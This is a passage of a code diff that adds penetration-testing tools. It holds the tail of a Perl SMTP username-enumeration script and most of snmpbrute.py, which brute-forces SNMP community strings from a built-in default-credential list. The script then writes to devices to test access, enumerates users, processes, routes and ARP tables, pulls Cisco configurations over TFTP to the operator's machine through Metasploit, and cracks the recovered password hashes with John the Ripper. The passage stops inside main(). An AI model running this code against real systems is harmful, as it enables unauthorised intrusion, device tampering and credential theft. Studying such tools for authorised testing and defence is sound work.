"\n"; +print " ----------------------------------------------------------\n"; +print "| Scan Information |\n"; +print " ----------------------------------------------------------\n"; +print "\n"; +print "Mode ..................... $mode\n"; +print "Worker Processes ......... $max_procs\n"; +print "Targets file ............. $host_file\n" if defined($host_file); +print "Usernames file ........... $username_file\n" if defined($username_file); +print "Target count ............. " . scalar(@hosts) . "\n" if @hosts; +print "Username count ........... " . scalar(@usernames) . "\n" if @usernames; +print "Target TCP port .......... $smtp_port\n"; +print "Query timeout ............ $query_timeout secs\n"; +print "Target domain ............ $domain\n" if defined($domain); +print "\n"; +print "######## Scan started at " . scalar(localtime()) . " #########\n"; + +# Spawn off correct number of children +foreach my $proc_count (1..$max_procs) { + socketpair(my $child, my $parent, AF_UNIX, SOCK_STREAM, PF_UNSPEC) or die "socketpair: $!"; + $child->autoflush(1); + $parent->autoflush(1); + + # Parent executes this + if (my $pid = fork) { + close $parent; + print "[Parent] Spawned child with PID $pid to do resolving\n" if $debug; + push @child_handles, $child; + + # Child executes this + } else { + close $child; + while (1) { + my $timed_out = 0; + + # Read host and username from parent + my $line = <$parent>; + chomp($line); + my ($host, $username, $domain) = $line =~ /^(\S+)\t(.*)\t(.*)$/; + + # Append domain to username if a domain was supplied + $username = $username . "@" . $domain if (defined($domain) and $domain); + + # Exit if told to by parent + if ($line eq $kill_child_string) { + print "[Child $$] Exiting\n" if $debug; + exit 0; + } + + # Sanity check host and username + if (defined($host) and defined($username)) { + print "[Child $$] Passed host $host and username $username\n" if $debug; + } else { + print "[Child $$] WARNING: Passed garbage. Ignoring: $line\n"; + next; + } + + # Do smtp query with timeout + my $response; + eval { + local $SIG{ALRM} = sub { die "alarm\n" }; + alarm $query_timeout; + my $s = IO::Socket::INET->new( PeerAddr => $host, + PeerPort => $smtp_port, + Proto => 'tcp' + ) + or die "Can't connect to $host:$smtp_port: $!\n"; + my $buffer; + $s->recv($buffer, 10000); # recv banner + if ($mode eq "VRFY") { + $s->send("HELO x\r\n"); + $s->recv($buffer, 10000); + $s->send("VRFY $username\r\n"); + $s->recv($buffer, 10000); + } elsif ($mode eq "EXPN") { + $s->send("HELO x\r\n"); + $s->recv($buffer, 10000); + $s->send("EXPN $username\r\n"); + $s->recv($buffer, 10000); + } elsif ($mode eq "RCPT") { + $s->send("HELO x\r\n"); + $s->recv($buffer, 10000); + $s->send("MAIL FROM:$from_address\r\n"); + $s->recv($buffer, 10000); + $s->send("RCPT TO:$username\r\n"); + $s->recv($buffer, 10000); + } else { + print "ERROR: Unknown mode in use\n"; + exit 1; + } + $response .= $buffer; + alarm 0; + }; + +# if ($@) { +# $timed_out = 1; +# print "[Child $$] Timeout for username $username on host $host\n" if $debug; +# } + + my $trace; + if ($debug) { + $trace = "[Child $$] $host: $username "; + } else { + $trace = "$host: $username "; + } + + if ($response and not $timed_out) { + + # Negative result + if ($response =~ /5\d\d \S+/s) { + print $parent $trace . "\n"; + next; + + # Postive result + } elsif ($response =~ /2\d\d \S+/s) { + print $parent $trace . "exists\n"; + next; + + # Unknown response + } else { + $response =~ s/[\n\r]/./g; + print $parent $trace . "$response\n"; + next; + } + } + + if ($timed_out) { + print $parent $trace . "\n"; + } else { + if (!$response) { + print $parent $trace . "\n"; + } + } + } + exit; + } +} + +# Fork once more to make a process that will us usernames and hosts +socketpair(my $get_next_query, my $parent, AF_UNIX, SOCK_STREAM, PF_UNSPEC) or die "socketpair: $!"; +$get_next_query->autoflush(1); +$parent->autoflush(1); + +# Parent executes this +if (my $pid = fork) { + close $parent; + +# Chile executes this +} else { + # Generate queries from username-host pairs and send to parent + foreach my $username (@usernames) { + foreach my $host (@hosts) { + my $query = $host . "\t" . $username . "\t" . $domain; + print "[Query Generator] Sending $query to parent\n" if $debug; + print $parent "$query\n"; + } + } + + exit 0; +} + +printf "Created %d child processes\n", scalar(@child_handles) if $debug; +my $s = IO::Select->new(); +my $s_in = IO::Select->new(); +$s->add(@child_handles); +$s_in->add(\*STDIN); +my $timeout = 0; # non-blocking +my $more_queries = 1; +my $outstanding_queries = 0; +my $query_count = 0; +my $result_count = 0; + +# Write to each child process once +writeloop: foreach my $write_handle (@child_handles) { + my $query = <$get_next_query>; + if ($query) { + chomp($query); + print "[Parent] Sending $query to child\n" if $debug; + print $write_handle "$query\n"; + $outstanding_queries++; + } else { + print "[Parent] Quitting main loop. All queries have been read.\n" if $debug; + last writeloop; + } +} + +# Keep reading from child processes until there are no more queries left +# Write to a child only after it has been read from +mainloop: while (1) { + # Wait until there's a child that we can either read from or written to. + my ($rh_aref) = IO::Select->select($s, undef, undef); # blocking + + print "[Parent] There are " . scalar(@$rh_aref) . " children that can be read from\n" if $debug; + + foreach my $read_handle (@$rh_aref) { + # Read from child + chomp(my $line = <$read_handle>); + if ($verbose == 1 or $debug == 1 or not ($line =~ // or $line =~ /no result/ or $line =~ //)) { + print "$line\n"; + $result_count++ unless ($line =~ // or $line =~ /no result/ or $line =~ //); + } + $outstanding_queries--; + $query_count++; + + # Write to child + my $query = <$get_next_query>; + if ($query) { + chomp($query); + print "[Parent] Sending $query to child\n" if $debug; + print $read_handle "$query\n"; + $outstanding_queries++; + } else { + print "DEBUG: Quitting main loop. All queries have been read.\n" if $debug; + last mainloop; + } + } +} + +# Wait to get replies back from remaining children +my $count = 0; +readloop: while ($outstanding_queries) { + my @ready_to_read = $s->can_read(1); # blocking + foreach my $child_handle (@ready_to_read) { + print "[Parent] Outstanding queries: $outstanding_queries\n" if $debug; + chomp(my $line = <$child_handle>); + if ($verbose == 1 or $debug == 1 or not ($line =~ // or $line =~ /no result/ or $line =~ //)) { + print "$line\n"; + $result_count++ unless ($line =~ // or $line =~ /no result/ or $line =~ //); + } + print $child_handle "$kill_child_string\n"; + $s->remove($child_handle); + $outstanding_queries--; + $query_count++; + } +} + +# Tell any remaining children to exit +foreach my $handle ($s->handles) { + print "[Parent] Telling child to exit\n" if $debug; + print $handle "$kill_child_string\n"; +} + +# Wait for all children to terminate +while(wait != -1) {}; + +print "######## Scan completed at " . scalar(localtime()) . " #########\n"; +print "$result_count results.\n"; +print "\n"; +$end_time = time(); # Second granularity only to avoid depending on hires time module +my $run_time = $end_time - $start_time; +$run_time = 1 if $run_time < 1; # Avoid divide by zero +printf "%d queries in %d seconds (%0.1f queries / sec)\n", $query_count, $run_time, $query_count / $run_time; diff --git a/snmpbrute.py b/snmpbrute.py new file mode 100644 index 0000000..3e13709 --- /dev/null +++ b/snmpbrute.py @@ -0,0 +1,789 @@ +#!/usr/bin/env python +# SNMP Bruteforce & Enumeration Script +# Requires metasploit, snmpwalk, snmpstat and john the ripper +__version__ = 'v1.0b' +from socket import socket, SOCK_DGRAM, AF_INET, timeout +from random import randint +from time import sleep +import optparse, sys, os +from subprocess import Popen, PIPE +import struct +import threading, thread +import tempfile + +from scapy.all import (SNMP, SNMPnext, SNMPvarbind, ASN1_OID, SNMPget, ASN1_DECODING_ERROR, ASN1_NULL, ASN1_IPADDRESS, + SNMPset, SNMPbulk, IP) + +########################################################################################################## +# Defaults +########################################################################################################## +class defaults: + rate=30.0 + timeOut=2.0 + port=161 + delay=2 + interactive=True + verbose=False + getcisco=True + colour=True + +default_communities=['','0','0392a0','1234','2read','3com','3Com','3COM','4changes','access','adm','admin','Admin','administrator','agent','agent_steal','all','all private','all public','anycom','ANYCOM','apc','bintec','blue','boss','c','C0de','cable-d','cable_docsispublic@es0','cacti','canon_admin','cascade','cc','changeme','cisco','CISCO','cmaker','comcomcom','community','core','CR52401','crest','debug','default','demo','dilbert','enable','entry','field','field-service','freekevin','friend','fubar','guest','hello','hideit','host','hp_admin','ibm','IBM','ilmi','ILMI','intel','Intel','intermec','Intermec','internal','internet','ios','isdn','l2','l3','lan','liteon','login','logon','lucenttech','lucenttech1','lucenttech2','manager','master','microsoft','mngr','mngt','monitor','mrtg','nagios','net','netman','network','nobody','NoGaH$@!','none','notsopublic','nt','ntopia','openview','operator','OrigEquipMfr','ourCommStr','pass','passcode','password','PASSWORD','pr1v4t3','pr1vat3','private',' private','private ','Private','PRIVATE','private@es0','Private@es0','private@es1','Private@es1','proxy','publ1c','public',' public','public ','Public','PUBLIC','public@es0','public@es1','public/RO','read','read-only','readwrite','read-write','red','regional','','rmon','rmon_admin','ro','root','router','rw','rwa','sanfran','san-fran','scotty','secret','Secret','SECRET','Secret C0de','security','Security','SECURITY','seri','server','snmp','SNMP','snmpd','snmptrap','snmp-Trap','SNMP_trap','SNMPv1/v2c','SNMPv2c','solaris','solarwinds','sun','SUN','superuser','supervisor','support','switch','Switch','SWITCH','sysadm','sysop','Sysop','system','System','SYSTEM','tech','telnet','TENmanUFactOryPOWER','test','TEST','test2','tiv0li','tivoli','topsecret','traffic','trap','user','vterm1','watch','watchit','windows','windowsnt','workstation','world','write','writeit','xyzzy','yellow','ILMI'] + +########################################################################################################## +# OID's +########################################################################################################## +''' Credits +Some OID's borowed from Cisc0wn script +# Cisc0wn - The Cisco SNMP 0wner. +# Daniel Compton +# www.commonexploits.com +# contact@commexploits.com +''' + +RouteOIDS={ + 'ROUTDESTOID': [".1.3.6.1.2.1.4.21.1.1", "Destination"], + 'ROUTHOPOID': [".1.3.6.1.2.1.4.21.1.7", "Next Hop"], + 'ROUTMASKOID': [".1.3.6.1.2.1.4.21.1.11", "Mask"], + 'ROUTMETOID': [".1.3.6.1.2.1.4.21.1.3", "Metric"], + 'ROUTINTOID': [".1.3.6.1.2.1.4.21.1.2", "Interface"], + 'ROUTTYPOID': [".1.3.6.1.2.1.4.21.1.8", "Route type"], + 'ROUTPROTOID': [".1.3.6.1.2.1.4.21.1.9", "Route protocol"], + 'ROUTAGEOID': [".1.3.6.1.2.1.4.21.1.10", "Route age"] +} + +InterfaceOIDS={ + #Interface Info + 'INTLISTOID': [".1.3.6.1.2.1.2.2.1.2", "Interfaces"], + 'INTIPLISTOID': [".1.3.6.1.2.1.4.20.1.1", "IP address"], + 'INTIPMASKOID': [".1.3.6.1.2.1.4.20.1.3", "Subnet mask"], + 'INTSTATUSLISTOID':[".1.3.6.1.2.1.2.2.1.8", "Status"] +} + +ARPOIDS={ + # Arp table + 'ARPADDR': [".1.3.6.1.2.1.3.1 ","ARP address method A"], + 'ARPADDR2': [".1.3.6.1.2.1.3.1 ","ARP address method B"] +} + +OIDS={ + 'SYSTEM':["iso.3.6.1.2.1.1 ","SYSTEM Info"] +} + +snmpstat_args={ + 'Interfaces':["-Ci","Interface Info"], + 'Routing':["-Cr","Route Info"], + 'Netstat':["","Netstat"], + #'Statistics':["-Cs","Stats"] +} + +'''Credits +The following OID's are borrowed from snmpenum.pl script +# ----by filip waeytens 2003---- +# ---- DA SCANIT CREW www.scanit.be ---- +# filip.waeytens@hushmail.com +''' + +WINDOWS_OIDS={ + 'RUNNING PROCESSES': ["1.3.6.1.2.1.25.4.2.1.2","Running Processes"], + 'INSTALLED SOFTWARE': ["1.3.6.1.2.1.25.6.3.1.2","Installed Software"], + 'SYSTEM INFO': ["1.3.6.1.2.1.1","System Info"], + 'HOSTNAME': ["1.3.6.1.2.1.1.5","Hostname"], + 'DOMAIN': ["1.3.6.1.4.1.77.1.4.1","Domain"], + 'USERS': ["1.3.6.1.4.1.77.1.2.25","Users"], + 'UPTIME': ["1.3.6.1.2.1.1.3","UpTime"], + 'SHARES': ["1.3.6.1.4.1.77.1.2.27","Shares"], + 'DISKS': ["1.3.6.1.2.1.25.2.3.1.3","Disks"], + 'SERVICES': ["1.3.6.1.4.1.77.1.2.3.1.1","Services"], + 'LISTENING TCP PORTS': ["1.3.6.1.2.1.6.13.1.3.0.0.0.0","Listening TCP Ports"], + 'LISTENING UDP PORTS': ["1.3.6.1.2.1.7.5.1.2.0.0.0.0","Listening UDP Ports"] +} + +LINUX_OIDS={ + 'RUNNING PROCESSES': ["1.3.6.1.2.1.25.4.2.1.2","Running Processes"], + 'SYSTEM INFO': ["1.3.6.1.2.1.1","System Info"], + 'HOSTNAME': ["1.3.6.1.2.1.1.5","Hostname"], + 'UPTIME': ["1.3.6.1.2.1.1.3","UpTime"], + 'MOUNTPOINTS': ["1.3.6.1.2.1.25.2.3.1.3","MountPoints"], + 'RUNNING SOFTWARE PATHS': ["1.3.6.1.2.1.25.4.2.1.4","Running Software Paths"], + 'LISTENING UDP PORTS': ["1.3.6.1.2.1.7.5.1.2.0.0.0.0","Listening UDP Ports"], + 'LISTENING TCP PORTS': ["1.3.6.1.2.1.6.13.1.3.0.0.0.0","Listening TCP Ports"] +} + +CISCO_OIDS={ + 'LAST TERMINAL USERS': ["1.3.6.1.4.1.9.9.43.1.1.6.1.8","Last Terminal User"], + 'INTERFACES': ["1.3.6.1.2.1.2.2.1.2","Interfaces"], + 'SYSTEM INFO': ["1.3.6.1.2.1.1.1","System Info"], + 'HOSTNAME': ["1.3.6.1.2.1.1.5","Hostname"], + 'SNMP Communities': ["1.3.6.1.6.3.12.1.3.1.4","Communities"], + 'UPTIME': ["1.3.6.1.2.1.1.3","UpTime"], + 'IP ADDRESSES': ["1.3.6.1.2.1.4.20.1.1","IP Addresses"], + 'INTERFACE DESCRIPTIONS': ["1.3.6.1.2.1.31.1.1.1.18","Interface Descriptions"], + 'HARDWARE': ["1.3.6.1.2.1.47.1.1.1.1.2","Hardware"], + 'TACACS SERVER': ["1.3.6.1.4.1.9.2.1.5","TACACS Server"], + 'LOG MESSAGES': ["1.3.6.1.4.1.9.9.41.1.2.3.1.5","Log Messages"], + 'PROCESSES': ["1.3.6.1.4.1.9.9.109.1.2.1.1.2","Processes"], + 'SNMP TRAP SERVER': ["1.3.6.1.6.3.12.1.2.1.7","SNMP Trap Server"] +} + +########################################################################################################## +# Classes +########################################################################################################## + +class SNMPError(Exception): + '''Credits + Class copied from sploitego project + __original_author__ = 'Nadeem Douba' + https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py + ''' + pass + +class SNMPVersion: + '''Credits + Class copied from sploitego project + __original_author__ = 'Nadeem Douba' + https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py + ''' + v1 = 0 + v2c = 1 + v3 = 2 + + @classmethod + def iversion(cls, v): + if v in ['v1', '1']: + return cls.v1 + elif v in ['v2', '2', 'v2c']: + return cls.v2c + elif v in ['v3', '3']: + return cls.v3 + raise ValueError('No such version %s' % v) + + @classmethod + def sversion(cls, v): + if not v: + return 'v1' + elif v == 1: + return 'v2c' + elif v == 2: + return 'v3' + raise ValueError('No such version number %s' % v) + +class SNMPBruteForcer(object): + #This class is used for the sploitego method of bruteforce (--sploitego) + '''Credits + Class copied from sploitego project + __original_author__ = 'Nadeem Douba' + https://github.com/allfro/sploitego/blob/master/src/sploitego/scapytools/snmp.py + ''' + def __init__(self, agent, port=161, version='v2c', timeout=0.5, rate=1000): + self.version = SNMPVersion.iversion(version) + self.s = socket(AF_INET, SOCK_DGRAM) + self.s.settimeout(timeout) + self.addr = (agent, port) + self.rate = rate + + def guess(self, communities): + + p = SNMP( + version=self.version, + PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))]) + ) + r = [] + for c in communities: + i = randint(0, 2147483647) + p.PDU.id = i + p.community = c + self.s.sendto(str(p), self.addr) + sleep(1/self.rate) + while True: + try: + p = SNMP(self.s.recvfrom(65535)[0]) + except timeout: + break + r.append(p.community.val) + return r + + def __del__(self): + self.s.close() + +class SNMPResults: + addr='' + version='' + community='' + write=False + + def __eq__(self, other): + return self.addr == other.addr and self.version == other.version and self.community == other.community + +########################################################################################################## +# Colour output functions +########################################################################################################## + +# for color output +BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8) + +#following from Python cookbook, #475186 +def has_colours(stream): + if not hasattr(stream, "isatty"): + return False + if not stream.isatty(): + return False # auto color only on TTYs + try: + import curses + curses.setupterm() + return curses.tigetnum("colors") > 2 + except: + # guess false in case of error + return False +has_colours = has_colours(sys.stdout) + +def printout(text, colour=WHITE): + + if has_colours and defaults.colour: + seq = "\x1b[1;%dm" % (30+colour) + text + "\x1b[0m\n" + sys.stdout.write(seq) + else: + #sys.stdout.write(text) + print text + + +########################################################################################################## +# +########################################################################################################## + +def banner(art=True): + if art: + print >> sys.stderr, " _____ _ ____ _______ ____ __ " + print >> sys.stderr, " / ___// | / / |/ / __ \\ / __ )_______ __/ /____ " + print >> sys.stderr, " \\__ \\/ |/ / /|_/ / /_/ / / __ / ___/ / / / __/ _ \\" + print >> sys.stderr, " ___/ / /| / / / / ____/ / /_/ / / / /_/ / /_/ __/" + print >> sys.stderr, "/____/_/ |_/_/ /_/_/ /_____/_/ \\__,_/\\__/\\___/ " + print >> sys.stderr, "" + print >> sys.stderr, "SNMP Bruteforce & Enumeration Script " + __version__ + print >> sys.stderr, "http://www.secforce.com / nikos.vassakis secforce.com" + print >> sys.stderr, "###############################################################" + print >> sys.stderr, "" + +def listener(sock,results): + while True: + try: + response,addr=SNMPrecv(sock) + except timeout: + continue + except KeyboardInterrupt: + break + except: + break + r=SNMPResults() + r.addr=addr + r.version=SNMPVersion.sversion(response.version.val) + r.community=response.community.val + results.append(r) + printout (('%s : %s \tVersion (%s):\t%s' % (str(addr[0]),str(addr[1]), SNMPVersion.sversion(response.version.val),response.community.val)),WHITE) + +def SNMPrecv(sock): + try: + recv,addr=sock.recvfrom(65535) + response = SNMP(recv) + return response,addr + except: + raise + +def SNMPsend(sock, packets, ip, port=defaults.port, community='', rate=defaults.rate): + addr = (ip, port) + for packet in packets: + i = randint(0, 2147483647) + packet.PDU.id = i + packet.community = community + sock.sendto(str(packet), addr) + sleep(1/rate) + +def SNMPRequest(result,OID, value='', TimeOut=defaults.timeOut): + s = socket(AF_INET, SOCK_DGRAM) + s.settimeout(TimeOut) + response='' + r=result + + version = SNMPVersion.iversion(r.version) + if value: + p = SNMP( + version=version, + PDU=SNMPset(varbindlist=[SNMPvarbind(oid=ASN1_OID(OID), value=value)]) + ) + else: + p = SNMP( + version=version, + PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID(OID))]) + ) + + SNMPsend(s,p,r.addr[0],r.addr[1],r.community) + for x in range(0, 5): + try: + response,addr=SNMPrecv(s) + break + except timeout: # if request times out retry + sleep(0.5) + continue + s.close + if not response: + raise timeout + return response + +def testSNMPWrite(results,options,OID='.1.3.6.1.2.1.1.4.0'): + #Alt .1.3.6.1.2.1.1.5.0 + + setval='HASH(0xDEADBEF)' + for r in results: + try: + originalval=SNMPRequest(r,OID) + + if originalval: + originalval=originalval[SNMPvarbind].value.val + + SNMPRequest(r,OID,setval) + curval=SNMPRequest(r,OID)[SNMPvarbind].value.val + + if curval == setval: + r.write=True + try: + SNMPRequest(r,OID,originalval) + except timeout: + pass + if options.verbose: printout (('\t %s (%s) (RW)' % (r.community,r.version)),GREEN) + curval=SNMPRequest(r,OID)[SNMPvarbind].value.val + if curval != originalval: + printout(('Couldn\'t restore value to: %s (OID: %s)' % (str(originalval),str(OID))),RED) + else: + if options.verbose: printout (('\t %s (%s) (R)' % (r.community,r.version)),BLUE) + else: + r.write=None + printout (('\t %s (%s) (Failed)' % (r.community,r.version)),RED) + except timeout: + r.write=None + printout (('\t %s (%s) (Failed!)' % (r.community,r.version)),RED) + continue + +def generic_snmpwalk(snmpwalk_args,oids): + for key, val in oids.items(): + try: + printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW) + entry={} + out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2').readlines() + + print '\tINFO' + print '\t----\t' + for i in out: + print '\t',i.strip() + print '\n' + except KeyboardInterrupt: + pass + +def enumerateSNMPWalk(result,options): + r=result + + snmpwalk_args=' -c "'+r.community+'" -'+r.version+' '+str(r.addr[0])+':'+str(r.addr[1]) + + ############################################################### Enumerate OS + if options.windows: + generic_snmpwalk(snmpwalk_args,WINDOWS_OIDS) + return + if options.linux: + generic_snmpwalk(snmpwalk_args,LINUX_OIDS) + return + if options.cisco: + generic_snmpwalk(snmpwalk_args,CISCO_OIDS) + + ############################################################### Enumerate CISCO Specific + ############################################################### Enumerate Routes + entry={} + out=os.popen('snmpwalk'+snmpwalk_args+' '+'.1.3.6.1.2.1.4.21.1.1'+' '+'| awk \'{print $NF}\' 2>&1''').readlines() + lines = len(out) + + printout('################## Enumerating Routing Table (snmpwalk)',YELLOW) + try: + for key, val in RouteOIDS.items(): #Enumerate Routes + #print '\t *',val[1], val[0] + out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+'| awk \'{print $NF}\' 2>&1').readlines() + + entry[val[1]]=out + + + print '\tDestination\t\tNext Hop\tMask\t\t\tMetric\tInterface\tType\tProtocol\tAge' + print '\t-----------\t\t--------\t----\t\t\t------\t---------\t----\t--------\t---' + for j in range(lines): + print( '\t'+entry['Destination'][j].strip().ljust(12,' ') + + '\t\t'+entry['Next Hop'][j].strip().ljust(12,' ') + + '\t'+entry['Mask'][j].strip().ljust(12,' ') + + '\t\t'+entry['Metric'][j].strip().center(6,' ') + + '\t'+entry['Interface'][j].strip().center(10,' ') + + '\t'+entry['Route type'][j].strip().center(4,' ') + + '\t'+entry['Route protocol'][j].strip().center(8,' ') + + '\t'+entry['Route age'][j].strip().center(3,' ') + ) + except KeyboardInterrupt: + pass + + ############################################################### Enumerate Arp + print '\n' + for key, val in ARPOIDS.items(): + try: + printout(('################## Enumerating ARP Table using: %s (%s)'%(val[0],val[1])),YELLOW) + entry={} + out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2 | cut -d\':\' -f 2').readlines() + + lines=len(out)/3 + + entry['V']=out[0*lines:1*lines] + entry['MAC']=out[1*lines:2*lines] + entry['IP']=out[2*lines:3*lines] + + + print '\tIP\t\tMAC\t\t\tV' + print '\t--\t\t---\t\t\t--' + for j in range(lines): + print( '\t'+entry['IP'][j].strip().ljust(12,' ') + + '\t'+entry['MAC'][j].strip().ljust(18,' ') + + '\t'+entry['V'][j].strip().ljust(2,' ') + ) + print '\n' + except KeyboardInterrupt: + pass + + ############################################################### Enumerate SYSTEM + for key, val in OIDS.items(): + try: + printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW) + entry={} + out=os.popen('snmpwalk'+snmpwalk_args+' '+val[0]+' '+' | cut -d\'=\' -f 2').readlines() + + print '\tINFO' + print '\t----\t' + for i in out: + print '\t',i.strip() + print '\n' + except KeyboardInterrupt: + pass + ############################################################### Enumerate Interfaces + for key, val in snmpstat_args.items(): + try: + printout(('################## Enumerating %s Table using: %s (%s)'%(key,val[0],val[1])),YELLOW) + out=os.popen('snmpnetstat'+snmpwalk_args+' '+val[0]).readlines() + + for i in out: + print '\t',i.strip() + print '\n' + except KeyboardInterrupt: + pass + +def get_cisco_config(result,options): + printout(('################## Trying to get config with: %s'% result.community),YELLOW) + + identified_ip=os.popen('ifconfig eth0 |grep "inet addr:" |cut -d ":" -f 2 |awk \'{ print $1 }\'').read() + + if options.interactive: + Local_ip = raw_input('Enter Local IP ['+str(identified_ip).strip()+']:') or identified_ip.strip() + else: + Local_ip = identified_ip.strip() + + if not (os.path.isdir("./output")): + os.popen('mkdir output') + + p=Popen('msfcli auxiliary/scanner/snmp/cisco_config_tftp RHOSTS='+str(result.addr[0])+' LHOST='+str(Local_ip)+' COMMUNITY="'+result.community+'" OUTPUTDIR=./output RETRIES=1 RPORT='+str(result.addr[1])+' THREADS=5 VERSION='+result.version.replace('v','')+' E ',shell=True,stdin=PIPE,stdout=PIPE, stderr=PIPE) #>/dev/null 2>&1 + + + print 'msfcli auxiliary/scanner/snmp/cisco_config_tftp RHOSTS='+str(result.addr[0])+' LHOST='+str(Local_ip)+' COMMUNITY="'+result.community+'" OUTPUTDIR=./output RETRIES=1 RPORT='+str(result.addr[1])+' THREADS=5 VERSION='+result.version.replace('v','')+' E ' + + out=[] + while p.poll() is None: + line=p.stdout.readline() + out.append(line) + print '\t',line.strip() + + printout('################## Passwords Found:',YELLOW) + encrypted=[] + for i in out: + if "Password" in i: + print '\t',i.strip() + if "Encrypted" in i: + encrypted.append(i.split()[-1]) + + if encrypted: + print '\nCrack encrypted password(s)?' + for i in encrypted: + print '\t',i + + #if (False if raw_input("(Y/n):").lower() == 'n' else True): + if not get_input("(Y/n):",'n',options): + + with open('./hashes', 'a') as f: + for i in encrypted: + f.write(i+'\n') + + p=Popen('john ./hashes',shell=True,stdin=PIPE,stdout=PIPE,stderr=PIPE) + while p.poll() is None: + print '\t',p.stdout.readline() + print 'Passwords Cracked:' + out=os.popen('john ./hashes --show').readlines() + for i in out: + print '\t', i.strip() + + out=[] + while p.poll() is None: + line=p.stdout.readline() + out.append(line) + print '\t',line.strip() + +def select_community(results,options): + default=None + try: + printout("\nIdentified Community strings",WHITE) + + for l,r in enumerate(results): + if r.write==True: + printout ('\t%s) %s %s (%s)(RW)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),GREEN) + default=l + elif r.write==False: + printout ('\t%s) %s %s (%s)(RO)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),BLUE) + else: + printout ('\t%s) %s %s (%s)'%(l,str(r.addr[0]).ljust(15,' '),str(r.community),str(r.version)),RED) + + if default is None: + default = l + + if not options.enum: + return + + if options.interactive: + selection=raw_input("Select Community to Enumerate ["+str(default)+"]:") + if not selection: + selection=default + else: + selection=default + + try: + return results[int(selection)] + except: + return results[l] + except KeyboardInterrupt: + exit(0) + +def SNMPenumeration(result,options): + getcisco=defaults.getcisco + try: + printout (("\nEnumerating with READ-WRITE Community string: %s (%s)" % (result.community,result.version)),YELLOW) + enumerateSNMPWalk(result,options) + + if options.windows or options.linux: + if not get_input("Get Cisco Config (y/N):",'y',options): + getcisco=False + if getcisco: + get_cisco_config(result,options) + except KeyboardInterrupt: + print '\n' + return + +def password_brutefore(options, communities, ips): + s = socket(AF_INET, SOCK_DGRAM) + s.settimeout(options.timeOut) + + results=[] + + #Start the listener + T = threading.Thread(name='listener', target=listener, args=(s,results,)) + T.start() + + # Craft SNMP's for both versions + p1 = SNMP( + version=SNMPVersion.iversion('v1'), + PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))]) + ) + p2c = SNMP( + version=SNMPVersion.iversion('v2c'), + PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1.1.0'))]) + ) + + packets = [p1, p2c] + + #We try each community string + for i,community in enumerate(communities): + #sys.stdout.write('\r{0}'.format('.' * i)) + #sys.stdout.flush() + for ip in ips: + SNMPsend(s, packets, ip, options.port, community.rstrip(), options.rate) + + #We read from STDIN if necessary + if options.stdin: + while True: + try: + try: + community=raw_input().strip('\n') + for ip in ips: + SNMPsend(s, packets, ip, options.port, community, options.rate) + except EOFError: + break + except KeyboardInterrupt: + break + + try: + print "Waiting for late packets (CTRL+C to stop)" + sleep(options.timeOut+options.delay) #Waiting in case of late response + except KeyboardInterrupt: + pass + T._Thread__stop() + s.close + + #We remove any duplicates. This relies on the __equal__ + newlist = [] + for i in results: + if i not in newlist: + newlist.append(i) + return newlist + +def get_input(string,non_default_option,options): + #(True if raw_input("Enumerate with different community? (Y/n):").lower() == 'n' else False) + + if options.interactive: + if raw_input(string).lower() == non_default_option: + return True + else: + return False + else: + print string + return False + +def main(): + + parser = optparse.OptionParser(formatter=optparse.TitledHelpFormatter()) + + parser.set_usage("python snmp-brute.py -t -f ") + #parser.add_option('-h','--help', help='Show this help message and exit', action=parser.print_help()) + parser.add_option('-f','--file', help='Dictionary file', dest='dictionary', action='store') + parser.add_option('-t','--target', help='Host IP', dest='ip', action='store') + parser.add_option('-p','--port', help='SNMP port', dest='port', action='store', type='int',default=defaults.port) + + + groupAlt = optparse.OptionGroup(parser, "Alternative Options") + groupAlt.add_option('-s','--stdin', help='Read communities from stdin', dest='stdin', action='store_true',default=False) + groupAlt.add_option('-c','--community', help='Single Community String to use', dest='community', action='store') + groupAlt.add_option('--sploitego', help='Sploitego\'s bruteforce method', dest='sploitego', action='store_true',default=False) + + + groupAuto = optparse.OptionGroup(parser, "Automation") + groupAuto.add_option('-b','--bruteonly', help='Do not try to enumerate - only bruteforce', dest='enum', action='store_false',default=True) + groupAuto.add_option('-a','--auto', help='Non Interactive Mode', dest='interactive', action='store_false',default=True) + groupAuto.add_option('--no-colours', help='No colour output', dest='colour', action='store_false',default=True) + + groupAdvanced = optparse.OptionGroup(parser, "Advanced") + groupAdvanced.add_option('-r','--rate', help='Send rate', dest='rate', action='store',type='float', default=defaults.rate) + groupAdvanced.add_option('--timeout', help='Wait time for UDP response (in seconds)', dest='timeOut', action='store', type='float' ,default=defaults.timeOut) + groupAdvanced.add_option('--delay', help='Wait time after all packets are send (in seconds)', dest='delay', action='store', type='float' ,default=defaults.delay) + + groupAdvanced.add_option('--iplist', help='IP list file', dest='lfile', action='store') + groupAdvanced.add_option('-v','--verbose', help='Verbose output', dest='verbose', action='store_true',default=False) + + groupOS = optparse.OptionGroup(parser, "Operating Systems") + groupOS.add_option('--windows', help='Enumerate Windows OIDs (snmpenum.pl)', dest='windows', action='store_true',default=False) + groupOS.add_option('--linux', help='Enumerate Linux OIDs (snmpenum.pl)', dest='linux', action='store_true',default=False) + groupOS.add_option('--cisco', help='Append extra Cisco OIDs (snmpenum.pl)', dest='cisco', action='store_true',default=False) + + parser.add_option_group(groupAdvanced) + parser.add_option_group(groupAuto) + parser.add_option_group(groupOS) + parser.add_option_group(groupAlt) + + (options, arguments) = parser.parse_args() + + communities=[] + ips=[] + + banner(options.colour) #For SPARTA!!! + + if not options.ip and not options.lfile: + #Can't continue without target + parser.print_help() + exit(0) + else: + # 